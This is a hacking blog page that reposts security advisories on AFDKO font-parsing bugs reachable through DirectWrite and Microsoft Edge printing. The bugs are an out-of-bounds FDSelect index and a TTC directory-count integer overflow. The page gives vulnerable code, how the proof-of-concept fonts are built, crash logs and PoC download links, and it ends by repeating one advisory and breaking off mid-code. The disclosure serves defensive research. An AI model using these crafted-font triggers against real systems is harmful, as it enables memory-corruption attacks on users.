Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863592424

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

-----=====[ Background ]=====-----

AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree.

At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification.

We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality.

One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. Below is a description of one such security vulnerability in Adobe's library exploitable through the Edge web browser.

-----=====[ Description ]=====-----

The readFDSelect() function in afdko/c/public/lib/source/cffread/cffread.c is designed to read and parse the FDSelect table of an input OpenType font. It is called by cfrBegFont(), the standard entry point function for the "cfr" (CFF Reader) module of AFDKO. The relevant part of the function is shown below:

--- cut ---
  2347      switch (read1(h)) {
  2348          case 0:
  2349              for (gid = 0; gid < h->glyphs.cnt; gid++)
  2350                  h->glyphs.array[gid].iFD = read1(h);
  2351              break;
  2352          case 3: {
  2353              int nRanges = read2(h);
  2354
  2355              gid = read2(h);
  2356              while (nRanges--) {
  2357                  int fd = read1(h);
  2358                  long next = read2(h);
  2359
  2360                  while (gid < next)
  2361                      h->glyphs.array[gid++].iFD = (unsigned char)fd;
  2362              }
  2363          } break;
--- cut ---

The "iFD" field is an unsigned char, as defined in afdko/c/public/lib/api/absfont.h:

--- cut ---
   393      unsigned char iFD;                /* CID-keyed: FD index */
--- cut ---

As shown above, it is initialized directly from the input stream and so the font file has complete control over it. There are no bounds checks to verify if the value is consistent with other structures in the font.

The field is used to store an index into the h->fdicts array, whose size is determined by the length of the FDArray index, see readFDArray():

--- cut ---
  1698      readINDEX(h, &h->region.FDArrayINDEX, &h->index.FDArray);
  1699      if (h->index.FDArray.count > 256)
  1700          fatal(h, cfrErrBadFDArray);
  1701
  1702      /* Read FDArray */
  1703      dnaSET_CNT(h->FDArray, h->index.FDArray.count);
  1704      dnaSET_CNT(h->fdicts, h->index.FDArray.count);
--- cut ---

If any of the iFD fields are set to a value exceeding the lengths of the h->FDArray / h->fdicts arrays, the library may access invalid memory in the following locations in code:

--- cut ---
  2796                  if (h->fdicts.array[info->iFD].Private.LanguageGroup == 1)
  2797                      info->flags |= ABF_GLYPH_LANG_1;
[...]
  2887      t2cAuxData *aux = &h->FDArray.array[info->iFD].aux;
--- cut ---

The second instance is especially dangerous in the context of memory safety, as the "aux" pointer fetched from an invalid memory location (potentially attacker-controlled) is later extensively used during the Type 2 CharString execution for reading and writing.

As a side note, we believe that the FDArray / fdicts arrays should consist of at least one element for every CID-keyed font, so we would suggest adding an additional check for "h->index.FDArray.count < 1" in the if statement shown below:

--- cut ---
  1698      readINDEX(h, &h->region.FDArrayINDEX, &h->index.FDArray);
  1699      if (h->index.FDArray.count > 256)
  1700          fatal(h, cfrErrBadFDArray);
--- cut ---

-----=====[ Proof of Concept ]=====-----

The proof of concept file contains a one-element FDArray. It also sets the iFD index of all glyphs to 1, which triggers a slightly out-of-bounds (off by one) access to h->fdicts.array[1] that is easily detected by AddressSanitizer. In non-ASAN builds, the code crashes later on when trying to access an invalid h->FDArray.array[1].aux pointer.

The font is also specially crafted to parse correctly with DirectWrite but trigger the bug in AFDKO. The original CFF2 table was left untouched, and a second copy of it with the modified iFD was inserted at the end of the font with the tag "CFF ". This way, DirectWrite successfully loads the legitimate variable font, and AFDKO processes the modified version as the CFF table takes precedence over CFF2 due to the logic implemented in srcOpen() in afdko/c/public/lib/source/cffread/cffread.c.

-----=====[ Crash logs ]=====-----

A 64-bit build of "tx" compiled with AddressSanitizer, started with ./tx -cff poc.otf prints out the following report:

--- cut ---
=================================================================
==199139==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62f00000d808 at pc 0x000000529c2c bp 0x7ffd5db0b270 sp 0x7ffd5db0b268
READ of size 8 at 0x62f00000d808 thread T0
    #0 0x529c2b in cfrBegFont afdko/c/public/lib/source/cffread/cffread.c:2796:56
    #1 0x50928d in cfrReadFont afdko/c/tx/source/tx.c:137:9
    #2 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17
    #3 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5
    #4 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17
    #5 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9
    #6 0x7f10333f82b0 in __libc_start_main
    #7 0x41e5b9 in _start

0x62f00000d808 is located 2440 bytes to the right of 51840-byte region [0x62f000000400,0x62f00000ce80)
allocated by thread T0 here:
    #0 0x4c63f3 in __interceptor_malloc
    #1 0x6c9ac2 in mem_manage afdko/c/public/lib/source/tx_shared/tx_shared.c:73:20
    #2 0x5474a4 in dna_manage afdko/c/public/lib/source/cffread/cffread.c:271:17
    #3 0x7de64e in dnaGrow afdko/c/public/lib/source/dynarr/dynarr.c:86:23
    #4 0x7dec75 in dnaSetCnt afdko/c/public/lib/source/dynarr/dynarr.c:119:13
    #5 0x526b21 in cfrBegFont afdko/c/public/lib/source/cffread/cffread.c:2631:5
    #6 0x50928d in cfrReadFont afdko/c/tx/source/tx.c:137:9
    #7 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17
    #8 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5
    #9 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17
    #10 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9
    #11 0x7f10333f82b0 in __libc_start_main

SUMMARY: AddressSanitizer: heap-buffer-overflow afdko/c/public/lib/source/cffread/cffread.c:2796:56 in cfrBegFont
Shadow bytes around the buggy address:
  0x0c5e7fff9ab0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c5e7fff9ac0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c5e7fff9ad0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c5e7fff9ae0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c5e7fff9af0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c5e7fff9b00: fa[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c5e7fff9b10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c5e7fff9b20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c5e7fff9b30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c5e7fff9b40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c5e7fff9b50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==199139==ABORTING
--- cut ---

A non-instrumented version of "tx" crashes with a SIGSEGV trying to fetch a function pointer from an unmapped memory area:

--- cut ---
Program received signal SIGSEGV, Segmentation fault.
0x000000000046382f in srcSeek (h=0x7ffffff60188, offset=23445) at ../../../../../source/t2cstr/t2cstr.c:255
255         if (h->aux->stm->seek(h->aux->stm, h->aux->src, offset))

(gdb) x/15i $rip
=> 0x46382f <srcSeek+31>:       mov    0x20(%rsi),%rsi
   0x463833 <srcSeek+35>:       mov    -0x10(%rbp),%rdi
   0x463837 <srcSeek+39>:       mov    0x9cef8(%rdi),%rdi
   0x46383e <srcSeek+46>:       mov    0x10(%rdi),%rdi
   0x463842 <srcSeek+50>:       mov    -0x10(%rbp),%rax
   0x463846 <srcSeek+54>:       mov    0x9cef8(%rax),%rax
   0x46384d <srcSeek+61>:       mov    0x8(%rax),%rax
   0x463851 <srcSeek+65>:       mov    -0x18(%rbp),%rdx
   0x463855 <srcSeek+69>:       mov    %rsi,-0x20(%rbp)
   0x463859 <srcSeek+73>:       mov    %rax,%rsi
   0x46385c <srcSeek+76>:       mov    -0x20(%rbp),%rax
   0x463860 <srcSeek+80>:       callq  *%rax
   0x463862 <srcSeek+82>:       cmp    $0x0,%eax
   0x463865 <srcSeek+85>:       je     0x463877 <srcSeek+103>
   0x46386b <srcSeek+91>:       movl   $0x1,-0x4(%rbp)

(gdb) info reg $rsi
rsi            0x440cc00044098000       4903505201673633792
(gdb) x/10gx $rsi
0x440cc00044098000:     Cannot access memory at address 0x440cc00044098000

(gdb) print h->aux
$1 = (t2cAuxData *) 0x7157f8
(gdb) print h->aux->stm
$2 = (ctlStreamCallbacks *) 0x440cc00044098000
(gdb) print h->aux->stm->seek
Cannot access memory at address 0x440cc00044098020

(gdb) bt
#0  0x000000000046382f in srcSeek (h=0x7ffffff60188, offset=23445) at ../../../../../source/t2cstr/t2cstr.c:255
#1  0x000000000045da61 in t2Decode (h=0x7ffffff60188, offset=23445) at ../../../../../source/t2cstr/t2cstr.c:1271
#2  0x000000000045cb26 in t2cParse (offset=23445, endOffset=23563, aux=0x7157f8, gid=0, cff2=0x715118, glyph=0x6fd6e8, mem=0x7150b8)
    at ../../../../../source/t2cstr/t2cstr.c:2591
#3  0x000000000041371f in readGlyph (h=0x710380, gid=0, glyph_cb=0x6fd6e8) at ../../../../../source/cffread/cffread.c:2927
#4  0x0000000000413495 in cfrIterateGlyphs (h=0x710380, glyph_cb=0x6fd6e8) at ../../../../../source/cffread/cffread.c:2966
#5  0x0000000000405f11 in cfrReadFont (h=0x6f6010, origin=0, ttcIndex=0) at ../../../../source/tx.c:151
#6  0x0000000000405c9e in doFile (h=0x6f6010, srcname=0x7fffffffdf1b "poc.otf") at ../../../../source/tx.c:429
#7  0x000000000040532e in doSingleFileSet (h=0x6f6010, srcname=0x7fffffffdf1b "poc.otf")
    at ../../../../source/tx.c:488
#8  0x0000000000402f59 in parseArgs (h=0x6f6010, argc=2, argv=0x7fffffffdc20) at ../../../../source/tx.c:558
#9  0x0000000000401df2 in main (argc=2, argv=0x7fffffffdc20) at ../../../../source/tx.c:1631
--- cut ---

A similar Microsoft Edge renderer process crash is also shown below:

--- cut ---
(1838.4490): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
DWrite!srcSeek+0x21:
00007ffc`c59f1549 488b4120        mov     rax,qword ptr [rcx+20h] ds:0030002f`00330050=????????????????

DWrite!srcSeek:
00007ffc`c59f1528 48895c2408      mov     qword ptr [rsp+8],rbx
00007ffc`c59f152d 57              push    rdi
00007ffc`c59f152e 4883ec20        sub     rsp,20h
00007ffc`c59f1532 8bda            mov     ebx,edx
00007ffc`c59f1534 488bf9          mov     rdi,rcx
00007ffc`c59f1537 488b91a8f40000  mov     rdx,qword ptr [rcx+0F4A8h]
00007ffc`c59f153e 448bc3          mov     r8d,ebx
00007ffc`c59f1541 488b4a10        mov     rcx,qword ptr [rdx+10h]
00007ffc`c59f1545 488b5208        mov     rdx,qword ptr [rdx+8]
00007ffc`c59f1549 488b4120        mov     rax,qword ptr [rcx+20h]
00007ffc`c59f154d ff15edd20200    call    qword ptr [DWrite!_guard_dispatch_icall_fptr (00007ffc`c5a1e840)]
00007ffc`c59f1553 85c0            test    eax,eax
00007ffc`c59f1555 7407            je      DWrite!srcSeek+0x36 (00007ffc`c59f155e)
00007ffc`c59f1557 b801000000      mov     eax,1
00007ffc`c59f155c eb08            jmp     DWrite!srcSeek+0x3e (00007ffc`c59f1566)
00007ffc`c59f155e 899f94f40000    mov     dword ptr [rdi+0F494h],ebx
00007ffc`c59f1564 33c0            xor     eax,eax
00007ffc`c59f1566 488b5c2430      mov     rbx,qword ptr [rsp+30h]
00007ffc`c59f156b 4883c420        add     rsp,20h
00007ffc`c59f156f 5f              pop     rdi
00007ffc`c59f1570 c3              ret

0:038> db poi(rdi+f4a8)
0000020c`ffd04170  ee 01 64 00 6f 00 77 00-73 00 2f 00 32 00 30 00  ..d.o.w.s./.2.0.
0000020c`ffd04180  30 00 33 00 2f 00 30 00-38 00 2f 00 70 00 72 00  0.3./.0.8./.p.r.
0000020c`ffd04190  69 00 6e 00 74 00 69 00-6e 00 67 00 2f 00 70 00  i.n.t.i.n.g./.p.
0000020c`ffd041a0  72 00 69 00 6e 00 74 00-73 00 63 00 68 00 65 00  r.i.n.t.s.c.h.e.
0000020c`ffd041b0  6d 00 61 00 6b 00 65 00-79 00 77 00 6f 00 72 00  m.a.k.e.y.w.o.r.
0000020c`ffd041c0  64 00 73 00 7d 00 50 00-00 00 67 00 65 00 52 00  d.s.}.P...g.e.R.
0000020c`ffd041d0  65 00 73 00 6f 00 6c 00-75 00 74 00 69 00 6f 00  e.s.o.l.u.t.i.o.
0000020c`ffd041e0  6e 00 00 00 00 00 80 3e-00 00 80 3e 00 00 80 3e  n......>...>...>

0:038> k
 # Child-SP          RetAddr           Call Site
00 0000008a`e128be10 00007ffc`c59f3fe5 DWrite!srcSeek+0x21
01 0000008a`e128be40 00007ffc`c59f4a5b DWrite!t2DecodeSubr+0x21
02 0000008a`e128bea0 00007ffc`c59dc103 DWrite!t2cParse+0x287
03 0000008a`e129b800 00007ffc`c59de3f7 DWrite!readGlyph+0x12b
04 0000008a`e129b870 00007ffc`c59d2272 DWrite!cfrIterateGlyphs+0x37
05 0000008a`e129b8c0 00007ffc`c596157a DWrite!AdobeCFF2Snapshot+0x19a
06 0000008a`e129bdc0 00007ffc`c5960729 DWrite!FontInstancer::InstanceCffTable+0x212
07 0000008a`e129bfa0 00007ffc`c596039a DWrite!FontInstancer::CreateInstanceInternal+0x249
08 0000008a`e129c1c0 00007ffc`c5945a4e DWrite!FontInstancer::CreateInstance+0x192
09 0000008a`e129c520 00007ffc`d4ae61ab DWrite!DWriteFontFace::CreateInstancedStream+0x9e
0a 0000008a`e129c5b0 00007ffc`d4ad9148 d2d1!dxc::TextConvertor::InstanceFontResources+0x19f
0b 0000008a`e129c6d0 00007ffc`b3ff5464 d2d1!dxc::CXpsPrintControl::Close+0xc8
0c 0000008a`e129c720 00007ffc`b3fcfd30 edgehtml!CDXPrintControl::Close+0x44
0d 0000008a`e129c770 00007ffc`b3fd48bd edgehtml!CTemplatePrinter::EndPrintD2D+0x5c
0e 0000008a`e129c7a0 00007ffc`b3eab995 edgehtml!CPrintManagerTemplatePrinter::endPrint+0x2d
0f 0000008a`e129c7d0 00007ffc`b3b09485 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Trampoline_endPrint+0x45
10 0000008a`e129c810 00007ffc`a3c244c1 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Profiler_endPrint+0x25
[...]
--- cut ---

-----=====[ References ]=====-----

[1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/
[2] https://github.com/adobe-type-tools/afdko
[3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal
[4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47097.zip
            
-----=====[ Background ]=====-----

AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree.

At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification.

We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality.

One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input.

In this specific case, it might be difficult to reach the vulnerability described here through DirectWrite, because DWrite would first have to accept and correctly load a font collection with a malformed directory count. During our brief testing, we were unable to achieve this. On the other hand, the Windows library still contains the readTTCDirectory() function together with the vulnerable code, so in case the code can be reached in a way we haven't considered, we have opted to report the bug despite its apparent unreachability at this time.

-----=====[ Description ]=====-----

The bug resides in the loading of font collections, i.e. files with the "ttcf" header. Specifically, the problem is found in the readTTCDirectory() function in source/sfntread/sfntread.c:

--- cut ---
   184      h->TTC.DirectoryCount = read4(h);
   185      h->TTC.TableDirectory = (long *)memResize(h, h->TTC.TableDirectory,
   186                                                h->TTC.DirectoryCount * sizeof(long *));
   187      h->flags |= TTC_STM; /* readSfntDirectory( reads in to h->TTC.TableDirectory[i].directory if TTC_STM is set.*/
   188
   189      for (i = 0; i < h->TTC.DirectoryCount; i++) {
   190          h->TTC.TableDirectory[i] = read4(h) + origin;
   191      }
--- cut ---

The DirectoryCount field of type "long" is (almost - depending on the platform) fully controlled by the input file, as initialized in line 184. Then, it is used to calculate the size of a dynamically allocated buffer in line 186. On 32-bit platforms, if the value is equal or larger than 0x40000000, the multiplication will overflow the integer range, resulting in allocating a buffer too small to store the data later written to it by the loop in lines 189-191. This behavior may subsequently lead to heap-based memory corruption.

-----=====[ Proof of Concept ]=====-----

The proof of concept file triggers the bug by declaring DirectoryCount as 0x40000001, which results in the allocation of a 4-byte buffer. Since more than one 4-byte offset is loaded from the font, a heap-based buffer overflow takes place in line 190 during the second iteration of the loop.

-----=====[ Crash logs ]=====-----

A crash log from a 32-bit "tx" tool (part of AFDKO) compiled with AddressSanitizer, run as ./tx -cff <path to font file>:

--- cut ---
=================================================================
==25409==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf50006f4 at pc 0x08255953 bp 0xffb10ff8 sp 0xffb10ff0
WRITE of size 4 at 0xf50006f4 thread T0
    #0 0x8255952 in readTTCDirectory afdko/c/public/lib/source/sfntread/sfntread.c:190:34
    #1 0x82544fd in sfrBegFont afdko/c/public/lib/source/sfntread/sfntread.c:231:13
    #2 0x8355234 in readsfnt afdko/c/public/lib/source/tx_shared/tx_shared.c:5118:14
    #3 0x834f24e in buildFontList afdko/c/public/lib/source/tx_shared/tx_shared.c:5481:25
    #4 0x8155001 in doFile afdko/c/tx/source/tx.c:403:5
    #5 0x8152fc9 in doSingleFileSet afdko/c/tx/source/tx.c:488:5
    #6 0x81469a6 in parseArgs afdko/c/tx/source/tx.c:558:17
    #7 0x814263f in main afdko/c/tx/source/tx.c:1631:9
    #8 0xf7b95275 in __libc_start_main
    #9 0x806a590 in _start

0xf50006f4 is located 0 bytes to the right of 4-byte region [0xf50006f0,0xf50006f4)
allocated by thread T0 here:
    #0 0x810ddc5 in __interceptor_malloc
    #1 0x833ccaf in mem_manage afdko/c/public/lib/source/tx_shared/tx_shared.c:73:20
    #2 0x8256bac in memResize afdko/c/public/lib/source/sfntread/sfntread.c:67:18
    #3 0x82557a1 in readTTCDirectory afdko/c/public/lib/source/sfntread/sfntread.c:185:37
    #4 0x82544fd in sfrBegFont afdko/c/public/lib/source/sfntread/sfntread.c:231:13
    #5 0x8355234 in readsfnt afdko/c/public/lib/source/tx_shared/tx_shared.c:5118:14
    #6 0x834f24e in buildFontList afdko/c/public/lib/source/tx_shared/tx_shared.c:5481:25
    #7 0x8155001 in doFile afdko/c/tx/source/tx.c:403:5
    #8 0x8152fc9 in doSingleFileSet afdko/c/tx/source/tx.c:488:5
    #9 0x81469a6 in parseArgs afdko/c/tx/source/tx.c:558:17
    #10 0x814263f in main afdko/c/tx/source/tx.c:1631:9
    #11 0xf7b95275 in __libc_start_main

SUMMARY: AddressSanitizer: heap-buffer-overflow afdko/c/public/lib/source/sfntread/sfntread.c:190:34 in readTTCDirectory
Shadow bytes around the buggy address:
  0x3ea00080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3ea00090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3ea000a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3ea000b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3ea000c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x3ea000d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa[04]fa
  0x3ea000e0: fa fa 00 fa fa fa 00 fa fa fa 00 fa fa fa 00 fa
  0x3ea000f0: fa fa 00 fa fa fa 00 00 fa fa fa fa fa fa fa fa
  0x3ea00100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3ea00110: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3ea00120: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==25409==ABORTING
--- cut ---

A slightly different crash is generated if we set DirectoryCount to a negative value (e.g. 0x80000000), which skips the loop in lines 189-191 and crashes a bit further down the line:

--- cut ---
=================================================================
==26803==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf50006f4 at pc 0x08255d1d bp 0xffee0908 sp 0xffee0900
READ of size 4 at 0xf50006f4 thread T0
    #0 0x8255d1c in sfrGetNextTTCOffset afdko/c/public/lib/source/sfntread/sfntread.c:256:12
    #1 0x835f5dc in addTTC afdko/c/public/lib/source/tx_shared/tx_shared.c:5082:31
    #2 0x83556d8 in readsfnt afdko/c/public/lib/source/tx_shared/tx_shared.c:5144:21
    #3 0x834f24e in buildFontList afdko/c/public/lib/source/tx_shared/tx_shared.c:5481:25
    #4 0x8155001 in doFile afdko/c/tx/source/tx.c:403:5
    #5 0x8152fc9 in doSingleFileSet afdko/c/tx/source/tx.c:488:5
    #6 0x81469a6 in parseArgs afdko/c/tx/source/tx.c:558:17
    #7 0x814263f in main afdko/c/tx/source/tx.c:1631:9
    #8 0xf7b0f275 in __libc_start_main
    #9 0x806a590 in _start

0xf50006f4 is located 0 bytes to the right of 4-byte region [0xf50006f0,0xf50006f4)
allocated by thread T0 here:
    #0 0x810ddc5 in __interceptor_malloc
    #1 0x833ccaf in mem_manage afdko/c/public/lib/source/tx_shared/tx_shared.c:73:20
    #2 0x8256bac in memResize afdko/c/public/lib/source/sfntread/sfntread.c:67:18
    #3 0x82557a1 in readTTCDirectory afdko/c/public/lib/source/sfntread/sfntread.c:185:37
    #4 0x82544fd in sfrBegFont afdko/c/public/lib/source/sfntread/sfntread.c:231:13
    #5 0x8355234 in readsfnt afdko/c/public/lib/source/tx_shared/tx_shared.c:5118:14
    #6 0x834f24e in buildFontList afdko/c/public/lib/source/tx_shared/tx_shared.c:5481:25
    #7 0x8155001 in doFile afdko/c/tx/source/tx.c:403:5
    #8 0x8152fc9 in doSingleFileSet afdko/c/tx/source/tx.c:488:5
    #9 0x81469a6 in parseArgs afdko/c/tx/source/tx.c:558:17
    #10 0x814263f in main afdko/c/tx/source/tx.c:1631:9
    #11 0xf7b0f275 in __libc_start_main

SUMMARY: AddressSanitizer: heap-buffer-overflow afdko/c/public/lib/source/sfntread/sfntread.c:256:12 in sfrGetNextTTCOffset
Shadow bytes around the buggy address:
  0x3ea00080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3ea00090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3ea000a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3ea000b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3ea000c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x3ea000d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa[04]fa
  0x3ea000e0: fa fa 00 fa fa fa 00 fa fa fa 00 fa fa fa 00 fa
  0x3ea000f0: fa fa 00 fa fa fa 00 00 fa fa fa fa fa fa fa fa
  0x3ea00100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3ea00110: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3ea00120: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==26803==ABORTING
--- cut ---

-----=====[ References ]=====-----

[1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/
[2] https://github.com/adobe-type-tools/afdko
[3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal
[4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47096.zip
            
-----=====[ Background ]=====-----

AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree.

At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification.

We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality.

One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. Below is a description of one such security vulnerability in Adobe's library exploitable through the Edge web browser.

-----=====[ Description ]=====-----

The readFDSelect() function in afdko/c/public/lib/source/cffread/cffread.c is designed to read and parse the FDSelect table of an input OpenType font. It is called by cfrBegFont(), the standard entry point function for the "cfr" (CFF Reader) module of AFDKO. The relevant part of the function is shown below:

--- cut ---
  2352          case 3: {
  2353              int nRanges = read2(h);
  2354
  2355              gid = read2(h);
  2356              while (nRanges--) {
  2357                  int fd = read1(h);
